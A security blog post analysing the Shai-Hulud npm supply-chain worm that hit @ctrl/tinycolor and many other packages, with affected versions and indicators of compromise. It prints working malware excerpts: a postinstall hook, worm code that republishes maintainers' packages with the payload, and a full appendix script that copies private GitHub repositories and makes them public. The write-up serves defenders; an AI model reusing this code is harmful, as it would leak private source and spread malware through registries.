---
title: "npm Supply Chain Attack Exposes Private Repositories, AWS Credentials and More"
description: "npm supply chain attacks continue. This time targeting @ctrl/tinycolor and multiple other packages with credential stealer malware. In this blog, we will analyze the attack and its impact on the npm ecosystem. We will also look at common attack patterns that are being used to target maintainers."
url: "https://safedep.io/blog/npm-supply-chain-attack-targeting-maintainers"
author: "SafeDep Team"
published: "2025-09-16"
---

# npm Supply Chain Attack Exposes Private Repositories, AWS Credentials and More

## TL;DR

npm supply chain attacks continue. This time targeting `@ctrl/tinycolor` and multiple other npm packages with credential stealer malware. In this blog, we will analyze the attack and its impact on the npm ecosystem. We will also look at common attack patterns that are being used to target maintainers.

**Update**: Along with packages already mentioned, these new packages are discovered to be affected with same attack pattern.

| Package Name                                                                                                     | Version |
| ---------------------------------------------------------------------------------------------------------------- | ------- |
| [@crowdstrike/logscale-dashboard](https://www.npmjs.com/package/@crowdstrike/logscale-dashboard)                 | 1.205.2 |
| [@crowdstrike/falcon-shoelace](https://www.npmjs.com/package/@crowdstrike/falcon-shoelace)                       | 0.4.1   |
| [@crowdstrike/falcon-shoelace](https://www.npmjs.com/package/@crowdstrike/falcon-shoelace)                       | 0.4.2   |
| [@crowdstrike/logscale-file-editor](https://www.npmjs.com/package/@crowdstrike/logscale-file-editor)             | 1.205.2 |
| [@crowdstrike/logscale-parser-edit](https://www.npmjs.com/package/@crowdstrike/logscale-parser-edit)             | 1.205.2 |
| [eslint-config-crowdstrike-node](https://www.npmjs.com/package/eslint-config-crowdstrike-node)                   | 4.0.4   |
| [eslint-config-crowdstrike](https://www.npmjs.com/package/eslint-config-crowdstrike)                             | 11.0.2  |
| [remark-preset-lint-crowdstrike](https://www.npmjs.com/package/remark-preset-lint-crowdstrike)                   | 4.0.2   |
| [@things-factory/email-base](https://www.npmjs.com/package/@things-factory/email-base)                           | 9.0.43  |
| [@things-factory/env](https://www.npmjs.com/package/@things-factory/env)                                         | 9.0.43  |
| [@operato/headroom](https://www.npmjs.com/package/@operato/headroom)                                             | 9.0.35  |
| [@things-factory/integration-base](https://www.npmjs.com/package/@things-factory/integration-base)               | 9.0.43  |
| [tbssnch](https://www.npmjs.com/package/tbssnch)                                                                 | 1.0.2   |
| [@things-factory/integration-marketplace](https://www.npmjs.com/package/@things-factory/integration-marketplace) | 9.0.42  |
| [@operato/styles](https://www.npmjs.com/package/@operato/styles)                                                 | 9.0.2   |
| [@things-factory/email-base](https://www.npmjs.com/package/@things-factory/email-base)                           | 9.0.42  |
| [@yoobic/jpeg-camera-es6](https://www.npmjs.com/package/@yoobic/jpeg-camera-es6)                                 | 1.0.13  |
| [yoo-styles](https://www.npmjs.com/package/yoo-styles)                                                           | 6.0.326 |

Lately we have observed multiple high-profile software supply chain attacks against the npm ecosystem:

- [ansi-styles, debug, chalk and more npm packages compromised](https://safedep.io/multiple-npm-packages-compromised-billion-downloads)
- [nx Build System Compromised](https://safedep.io/nx-build-system-compromise/)
- [DuckDB npm packages compromised](https://github.com/duckdb/duckdb-node/security/advisories/GHSA-w62p-hx95-gf2c)
- [eslint-config-prettier compromised](https://safedep.io/eslint-config-prettier-major-npm-supply-chain-hack/)

These attacks target packages collectively with over _2 BILLION_ weekly downloads. While the payloads used in these attacks have questionable sophistication levels, the continued success of malicious actors in breaching highly popular open source packages exposes risks in the open source software supply chain, especially for software development teams shipping professional software.

There are, however, common patterns that are observed in these attacks:

1. 2FA phishing attacks against maintainers as we saw in the [eslint-config-prettier incident](https://safedep.io/eslint-config-prettier-major-npm-supply-chain-hack/)
2. Maintainers of dormant packages are being targeted as we saw in the [ansi-style incident](https://safedep.io/multiple-npm-packages-compromised-billion-downloads) and today's incident as well.

For example, `@ctrl/tinycolor` did not have a release since over a year.

![](https://safedep.io/_next/static/immutable/media/ctrl-tinycolor-version-history.0re8i_6jb1l34.png)

### Summary of Malicious Payload

**Credential Harvesting:**

- Generates GitHub authentication tokens using `gh auth token` command
- Harvests AWS credentials from environment variables, configuration files, Web Identity Tokens, and EC2 Instance Metadata Service (IMDS)
- Uses TruffleHog to scan the local filesystem for secrets and credentials
- Exfiltrates all discovered credentials to an attacker-controlled `webhook.site` URL

**Repository Compromise:**

- Injects malicious GitHub Action workflows into all repositories accessible to the compromised user
- Copies private repositories and makes them public with the description `Shai-Hulud Migration`
- Removes `.github/workflows` directories during the migration process to avoid detection

**Self-Propagating Worm Behavior:**

- Extracts npm authentication tokens from `.npmrc` files
- Identifies npm packages where the compromised user has maintainer access
- Downloads package tarballs, injects the malicious `bundle.js` payload, and adds postinstall scripts
- Automatically publishes new malicious versions of packages to npm registry
- Increments package version numbers to ensure the malicious versions are treated as updates

### How SafeDep can help?

#### Protect GitHub Repositories

To protect the developer community against malicious packages that are flagged by SafeDep, we built free to use [SafeDep GitHub App](https://github.com/apps/safedep). It can be installed with zero configuration and will scan every pull request for malicious packages.

<a href="https://github.com/apps/safedep" target="_blank" rel="noopener">
  ![Install SafeDep GitHub App](https://safedep.io/_next/static/immutable/media/gh-app-npm-tinycolor-detection.2ozaesa4oro_r.png)
</a>

#### Protect Developer Environments

SafeDep open source tools especially [vet](https://github.com/safedep/vet) and [pmg](https://github.com/safedep/pmg) can help protect developers from malicious packages and other open source software supply chain attacks.

## The Attack

The following is the list of affected package versions as published by [Socket Security](https://socket.dev/blog/tinycolor-supply-chain-attack-affects-40-packages):

| Package                                                                                                                          | Versions       |
| -------------------------------------------------------------------------------------------------------------------------------- | -------------- |
| [angulartics2](https://www.npmjs.com/package/angulartics2)                                                                       | 14.1.2         |
| [@ctrl/deluge](https://www.npmjs.com/package/@ctrl/deluge)                                                                       | 7.2.2          |
| [@ctrl/golang-template](https://www.npmjs.com/package/@ctrl/golang-template)                                                     | 1.4.3          |
| [@ctrl/magnet-link](https://www.npmjs.com/package/@ctrl/magnet-link)                                                             | 4.0.4          |
| [@ctrl/ngx-codemirror](https://www.npmjs.com/package/@ctrl/ngx-codemirror)                                                       | 7.0.2          |
| [@ctrl/ngx-csv](https://www.npmjs.com/package/@ctrl/ngx-csv)                                                                     | 6.0.2          |
| [@ctrl/ngx-emoji-mart](https://www.npmjs.com/package/@ctrl/ngx-emoji-mart)                                                       | 9.2.2          |
| [@ctrl/ngx-rightclick](https://www.npmjs.com/package/@ctrl/ngx-rightclick)                                                       | 4.0.2          |
| [@ctrl/qbittorrent](https://www.npmjs.com/package/@ctrl/qbittorrent)                                                             | 9.7.2          |
| [@ctrl/react-adsense](https://www.npmjs.com/package/@ctrl/react-adsense)                                                         | 2.0.2          |
| [@ctrl/shared-torrent](https://www.npmjs.com/package/@ctrl/shared-torrent)                                                       | 6.3.2          |
| [@ctrl/tinycolor](https://www.npmjs.com/package/@ctrl/tinycolor)                                                                 | 4.1.1, 4.1.2   |
| [@ctrl/torrent-file](https://www.npmjs.com/package/@ctrl/torrent-file)                                                           | 4.1.2          |
| [@ctrl/transmission](https://www.npmjs.com/package/@ctrl/transmission)                                                           | 7.3.1          |
| [@ctrl/ts-base32](https://www.npmjs.com/package/@ctrl/ts-base32)                                                                 | 4.0.2          |
| [encounter-playground](https://www.npmjs.com/package/encounter-playground)                                                       | 0.0.5          |
| [json-rules-engine-simplified](https://www.npmjs.com/package/json-rules-engine-simplified)                                       | 0.2.4, 0.2.1   |
| [koa2-swagger-ui](https://www.npmjs.com/package/koa2-swagger-ui)                                                                 | 5.11.2, 5.11.1 |
| [@nativescript-community/gesturehandler](https://www.npmjs.com/package/@nativescript-community/gesturehandler)                   | 2.0.35         |
| [@nativescript-community/sentry](https://www.npmjs.com/package/@nativescript-community/sentry)                                   | 4.6.43         |
| [@nativescript-community/text](https://www.npmjs.com/package/@nativescript-community/text)                                       | 1.6.13         |
| [@nativescript-community/ui-collectionview](https://www.npmjs.com/package/@nativescript-community/ui-collectionview)             | 6.0.6          |
| [@nativescript-community/ui-drawer](https://www.npmjs.com/package/@nativescript-community/ui-drawer)                             | 0.1.30         |
| [@nativescript-community/ui-image](https://www.npmjs.com/package/@nativescript-community/ui-image)                               | 4.5.6          |
| [@nativescript-community/ui-material-bottomsheet](https://www.npmjs.com/package/@nativescript-community/ui-material-bottomsheet) | 7.2.72         |
| [@nativescript-community/ui-material-core](https://www.npmjs.com/package/@nativescript-community/ui-material-core)               | 7.2.76         |
| [@nativescript-community/ui-material-core-tabs](https://www.npmjs.com/package/@nativescript-community/ui-material-core-tabs)     | 7.2.76         |
| [ngx-color](https://www.npmjs.com/package/ngx-color)                                                                             | 10.0.2         |
| [ngx-toastr](https://www.npmjs.com/package/ngx-toastr)                                                                           | 19.0.2         |
| [ngx-trend](https://www.npmjs.com/package/ngx-trend)                                                                             | 8.0.1          |
| [react-complaint-image](https://www.npmjs.com/package/react-complaint-image)                                                     | 0.0.35         |
| [react-jsonschema-form-conditionals](https://www.npmjs.com/package/react-jsonschema-form-conditionals)                           | 0.3.21         |
| [react-jsonschema-form-extras](https://www.npmjs.com/package/react-jsonschema-form-extras)                                       | 1.0.4          |
| [rxnt-authentication](https://www.npmjs.com/package/rxnt-authentication)                                                         | 0.0.6          |
| [rxnt-healthchecks-nestjs](https://www.npmjs.com/package/rxnt-healthchecks-nestjs)                                               | 1.0.5          |
| [rxnt-kue](https://www.npmjs.com/package/rxnt-kue)                                                                               | 1.0.7          |
| [swc-plugin-component-annotate](https://www.npmjs.com/package/swc-plugin-component-annotate)                                     | 1.9.2          |
| [ts-gaussian](https://www.npmjs.com/package/ts-gaussian)                                                                         | 3.0.6          |

## Technical Analysis

We will use [@ctrl/deluge@7.2.2](https://www.npmjs.com/package/@ctrl/deluge) as the malicious sample for our analysis. SafeDep's automated malicious package analysis engine flagged this version based on [post-install script and signature match](https://platform.safedep.io/community/malysis/01K57G6DA5GGCTGNEWT159SX6D).

| Field       | Value                                                                                                                    |
| ----------- | ------------------------------------------------------------------------------------------------------------------------ |
| Package     | `@ctrl/deluge@7.2.2`                                                                                                     |
| Status      | Malicious                                                                                                                |
| Analyzed at | 2025-09-15T20:14:35Z                                                                                                     |
| Source      | [https://registry.npmjs.org/@ctrl/deluge/-/deluge-7.2.2.tgz](https://registry.npmjs.org/@ctrl/deluge/-/deluge-7.2.2.tgz) |
| SHA256      | `bc18414929992e8e8d2211f9c51ebc7241294a1af3cfdbdd5ca417974b2dac0b`                                                       |

We compared version `7.2.0` and `7.2.2` to identify the malicious changes. The obvious difference was the size of the package.

```diff title="deluge-7.2.0.tgz and deluge-7.2.2.tgz"
❯ du -sh *
 12K    deluge-7.2.0.tgz
2.0M    deluge-7.2.2.tgz
```

Subsequently, we looked at `package.json` changes and observed a newly introduced `postinstall` script in the malicious version.

```diff title="Diff of package.json"
❯ diff -u package-7.2.0/package.json package-7.2.2/package.json
--- package-7.2.0/package.json  1985-10-26 13:45:00
+++ package-7.2.2/package.json  2025-09-16 01:43:28
@@ -1,6 +1,6 @@
 {
   "name": "@ctrl/deluge",
-  "version": "7.2.0",
+  "version": "7.2.2",
   "description": "TypeScript api wrapper for deluge using got",
   "author": "Scott Cooper <scttcper@gmail.com>",
   "license": "MIT",
@@ -25,7 +25,8 @@
     "build:docs": "typedoc",
     "test": "vitest run",
     "test:watch": "vitest",
-    "test:ci": "vitest run --coverage --reporter=default --reporter=junit --outputFile=./junit.xml"
+    "test:ci": "vitest run --coverage --reporter=default --reporter=junit --outputFile=./junit.xml",
+    "postinstall": "node bundle.js"
   },
   "dependencies": {
     "@ctrl/magnet-link": "^4.0.2",
@@ -83,4 +84,4 @@
     "importOrderSeparation": true,
     "importOrderSortSpecifiers": false
   }
-}
+}
```

Looking at some of the strings in `bundle.js`, it appears to be packed with [webpack](https://webpack.js.org/api/node/).

```javascript
/*! For license information please see bundle.js.LICENSE.txt */
import{createRequire as __WEBPACK_EXTERNAL_createRequire}from"node:module";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307
,308])
```

### Payload

Observed malicious payload in `bundle.js`:

- Generates a GitHub auth token using `gh auth token` with the current user's credentials
- Contains an embedded bash script that injects a malicious GitHub Action workflow into all repositories of the authenticated user
- Contains an embedded bash script that copies private repositories using the compromised GitHub token and makes them public with the description `Shai-Hulud Migration`
- Uses [Trufflehog](https://github.com/trufflesecurity/trufflehog) to mine secrets from the local filesystem and exfiltrate them to an attacker-controlled `webhook.site` URL
- Harvests AWS credentials from environment variables, local configuration files, Web Identity Tokens, and the [IMDS](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html) endpoint

**Self-replicating worm like behavior**

The `bundle.js` payload has self-replicating worm-like behavior to infect `npm` packages that are accessible to the authenticated user. To achieve this, the payload does the following:

- Finds the infected user's npm token from the `.npmrc` file
- Calls `https://registry.npmjs.org/-/whoami` to validate the token and retrieve the username
- Searches for packages that are accessible to the authenticated user as a maintainer
- Downloads the package tarball, injects the `bundle.js` payload, and adds a postinstall script to `package.json`
- Publishes the package to the authenticated user's npm registry using the `npm publish ...` command

Example code:

```javascript title="Search npm Packages"
async searchPackages(t, r = 20) {
    const n = `/-/v1/search?text=${encodeURIComponent(t)}&size=${r}`,
        F = `${this.baseUrl}${n}`;
    try {
        const t = await fetch(F, {
            method: "GET",
            headers: this.getHeaders(!1)
        });
        if (!t.ok) throw new Error(`HTTP ${t.status}: ${t.statusText}`);
        return (await t.json()).objects || []
    } catch (t) {
        return console.error("Error searching packages:", t), []
    }
}
```

**Update Package to inject bundle.js and modify package.json**

```javascript
async updatePackage(t) {
  try {
      // [...]
      const ie = await fetch(t.tarballUrl, {
          method: "GET",
          headers: {
              "User-Agent": this.userAgent,
              Accept: "*/*",
              "Accept-Encoding": "gzip, deflate, br"
          }
      });
      // [...]
      try {
          await re.promises.writeFile(ce, se), await te(`gzip -d -c ${ce} > ${le}`), await te(`tar -xf ${le} -C ${ae} package/package.json`);
          const t = ne.join(ae, "package", "package.json"),
              r = await re.promises.readFile(t, "utf-8"),
              n = JSON.parse(r);
          if (n.version) {
              const t = n.version.split(".");
              if (3 === t.length) {
                  const r = parseInt(t[0]),
                      F = parseInt(t[1]),
                      te = parseInt(t[2]);
                  isNaN(te) || (n.version = `${r}.${F}.${te+1}`)
              }
          }
          n.scripts || (n.scripts = {}), n.scripts.postinstall = "node bundle.js", await re.promises.writeFile(t, JSON.stringify(n, null, 2)), await te(`tar -uf ${le} -C ${ae}   package/package.json`);
          const F = process.argv[1];
          if (F && await re.promises.access(F).then(() => !0).catch(() => !1)) {
              const t = ne.join(ae, "package", "bundle.js"),
                  r = await re.promises.readFile(F);
              await re.promises.writeFile(t, r), await te(`tar -uf ${le} -C ${ae} package/bundle.js`)
          }
          await te(`gzip -c ${le} > ${ue}`), await te(`npm publish ${ue}`), await re.promises.rm(ae, {
              recursive: !0,
              force: !0
          })
      } catch (t) {
          // [...]
      }
  } catch (t) {
      throw new Error(`Failed to update package: ${t}`)
  }
}
```

**Impact**

At the time of writing, at least 650+ repositories appear to be affected by this attack, as observed in a [GitHub search](http://github.com/search?q=%22Shai-Hulud+Migration%22&type=repositories).

## Indicators of Compromise (IOC)

- `bundle.js` SHA2 `46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09`
- GitHub repositories with description `Shai-Hulud Migration` [example](http://github.com/search?q=%22Shai-Hulud+Migration%22&type=repositories)
- HTTP requests to `hxxps://webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7`

## Appendix

Manually formatted shell script from `bundle.js` that exfiltrates private repositories using a compromised GitHub token and makes them public with the description `Shai-Hulud Migration`:

```bash title="migrate_script.sh"
#!/bin/bash

#-----------------------------------------------------------------------
# This script is designed to migrate all private and internal GitHub
# repositories from a source organization to a target user's account.
#
# It performs the following actions:
#   1. Fetches all non-archived private and internal repositories from the SOURCE_ORG.
#   2. For each repository, it creates a new private repository under the TARGET_USER.
#   3. It then mirrors the original repository to the new one.
#   4. Crucially, it removes the .github/workflows directory during migration.
#   5. After a successful migration, it makes the new repository PUBLIC.
#
# Usage:
#   ./migrate_script.sh <SOURCE_ORG> <TARGET_USER> <GITHUB_TOKEN>
#
# Arguments:
#   SOURCE_ORG: The name of the GitHub organization to migrate from.
#   TARGET_USER: The GitHub username to migrate the repositories to.
#   GITHUB_TOKEN: A personal access token with 'repo' scope.
#-----------------------------------------------------------------------

SOURCE_ORG=""
TARGET_USER=""
GITHUB_TOKEN=""
PER_PAGE=100
TEMP_DIR=""

# --- Argument Validation ---
if [[ $# -lt 3 ]]; then
    echo "Error: Missing arguments."
    echo "Usage: $0 <SOURCE_ORG> <TARGET_USER> <GITHUB_TOKEN>"
    exit 1
fi

SOURCE_ORG="$1"
TARGET_USER="$2"
GITHUB_TOKEN="$3"

if [[ -z "$SOURCE_ORG" || -z "$TARGET_USER" || -z "$GITHUB_TOKEN" ]]; then
    echo "Error: All three arguments are required."
    exit 1
fi

# Create a temporary directory for cloning repositories
TEMP_DIR="./temp$TARGET_USER"
mkdir -p "$TEMP_DIR"
TEMP_DIR=$(realpath "$TEMP_DIR")

# --- Function to make authenticated GitHub API calls ---
github_api() {
    local endpoint="$1"
    local method="${2:-GET}"
    local data="${3:-}"

    local curl_args=("-s" "-w" "%{http_code}" "-H" "Authorization: token $GITHUB_TOKEN" "-H" "Accept: application/vnd.github.v3+json")

    if [[ "$method" != "GET" ]]; then
        curl_args+=("-X" "$method")
    fi

    if [[ -n "$data" ]]; then
        curl_args+=("-H" "Content-Type: application/json" "-d" "$data")
    fi

    curl "${curl_args[@]}" "https://api.github.com$endpoint"
}

# --- Function to retrieve all repositories from an organization ---
get_all_repos() {
    local org="$1"
    local page=1
    local all_slugs="[]"

    while true; do
        local response
        response=$(github_api "/orgs/$org/repos?type=private,internal&per_page=$PER_PAGE&page=$page")

        local http_code="${response: -3}"
        local body="${response%???}"

        if ! echo "$body" | jq empty 2>/dev/null || ! echo "$body" | jq -e 'type == "array"' >/dev/null; then
            return 1
        fi

        local repos_count
        repos_count=$(echo "$body" | jq length)

        if [[ "$repos_count" -eq 0 ]]; then
            break
        fi

        local page_slugs
        page_slugs=$(echo "$body" | jq '[.[] | select(.archived == false) | .full_name]')
        all_slugs=$(echo "$all_slugs" "$page_slugs" | jq -s 'add')
        ((page++))
    done

    echo "$all_slugs"
}

# --- Function to create a new repository for the target user ---
create_repo() {
    local repo_name="$1"
    local repo_data
    repo_data=$(cat <<EOF
{
    "name": "$repo_name",
    "description": "Shai-Hulud Migration",
    "private": true,
    "has_issues": false,
    "has_projects": false,
    "has_wiki": false
}
EOF
    )

    local response
    response=$(github_api "/user/repos" "POST" "$repo_data")

    local http_code="${response: -3}"
    local body="${response%???}"

    if echo "$body" | jq -e '.name' >/dev/null 2>&1; then
        return 0
    else
        # Handle secondary rate limits by sleeping
        if [[ "$http_code" =~ ^4[0-9][0-9]$ ]] && echo "$body" | grep -qi "secondary rate"; then
            sleep 600
            response=$(github_api "/user/repos" "POST" "$repo_data")
            http_code="${response: -3}"
            body="${response%???}"
            if echo "$body" | jq -e '.name' >/dev/null 2>&1; then
                return 0
            fi
        fi
        return 1
    fi
}

# --- Function to make a repository public ---
make_repo_public() {
    local repo_name="$1"
    local repo_data
    repo_data=$(cat <<EOF
{
    "private": false
}
EOF
    )

    local response
    response=$(github_api "/repos/$TARGET_USER/$repo_name" "PATCH" "$repo_data")
    local http_code="${response: -3}"
    local body="${response%???}"

    if echo "$body" | jq -e '.private == false' >/dev/null 2>&1; then
        return 0
    else
        return 1
    fi
}

# --- Function to migrate a repository using git mirror ---
migrate_repo() {
    local source_clone_url="$1"
    local target_clone_url="$2"
    local migration_name="$3"
    local repo_dir="$TEMP_DIR"

    if ! git clone --mirror "$source_clone_url" "$repo_dir/$migration_name" 2>/dev/null; then
        return 1
    fi

    cd "$repo_dir/$migration_name"
    if ! git remote set-url origin "$target_clone_url" 2>/dev/null; then
        cd - >/dev/null
        return 1
    fi

    # Temporarily convert to a regular repo to remove workflows
    git config --unset core.bare
    git reset --hard

    # Remove workflows directory and commit the change
    if [[ -d ".github/workflows" ]]; then
        rm -rf .github/workflows
        git add -A
        git commit -m "Remove GitHub workflows directory"
    fi

    # Convert back to a bare repo for mirroring
    git config core.bare true
    rm -rf *

    if ! git push --mirror 2>/dev/null; then
        cd - >/dev/null
        return 1
    fi

    cd - >/dev/null
    rm -rf "$repo_dir/$migration_name"
    return 0
}

# --- Function to process the list of repositories ---
process_repositories() {
    local repos="$1"
    local total_repos
    total_repos=$(echo "$repos" | jq length)

    if [[ "$total_repos" -eq 0 ]]; then
        return 0
    fi

    local success_count=0
    local failure_count=0

    for i in $(seq 0 $((total_repos - 1))); do
        local repo
        repo=$(echo "$repos" | jq -r ".[$i]")
        local migration_name="${repo//\//-}-migration"

        local auth_source_url="https://$GITHUB_TOKEN@github.com/$repo.git"
        local auth_target_url="https://$GITHUB_TOKEN@github.com/$TARGET_USER/$migration_name.git"

        echo "Migrating $repo to $TARGET_USER/$migration_name..."

        if create_repo "$migration_name"; then
            if migrate_repo "$auth_source_url" "$auth_target_url" "$migration_name"; then
                if make_repo_public "$migration_name"; then
                    echo "  -> Success: Migrated and made public."
                    ((success_count++))
                else
                    # Still counts as a success if migration worked but public toggle failed
                    echo "  -> Warning: Migrated but failed to make public."
                    ((success_count++))
                fi
            else
                echo "  -> Error: Migration failed."
                ((failure_count++))
            fi
        else
            echo "  -> Error: Could not create target repository."
            ((failure_count++))
        fi
    done

    echo "-------------------------------------"
    echo "Migration Complete."
    echo "Successful: $success_count"
    echo "Failed:     $failure_count"
    echo "-------------------------------------"

    return $failure_count
}

# --- Main execution block ---
main() {
    # Check for required command-line tools
    for tool in curl jq git; do
        if ! command -v "$tool" &> /dev/null; then
            echo "Error: Required tool '$tool' is not installed."
            exit 1
        fi
    done

    echo "Fetching repositories from $SOURCE_ORG..."
    local repos
    if ! repos=$(get_all_repos "$SOURCE_ORG"); then
        echo "Error: Failed to fetch repositories from $SOURCE_ORG."
        exit 1
    fi

    process_repositories "$repos"
}

# Run main function with provided arguments
main "$@"
```
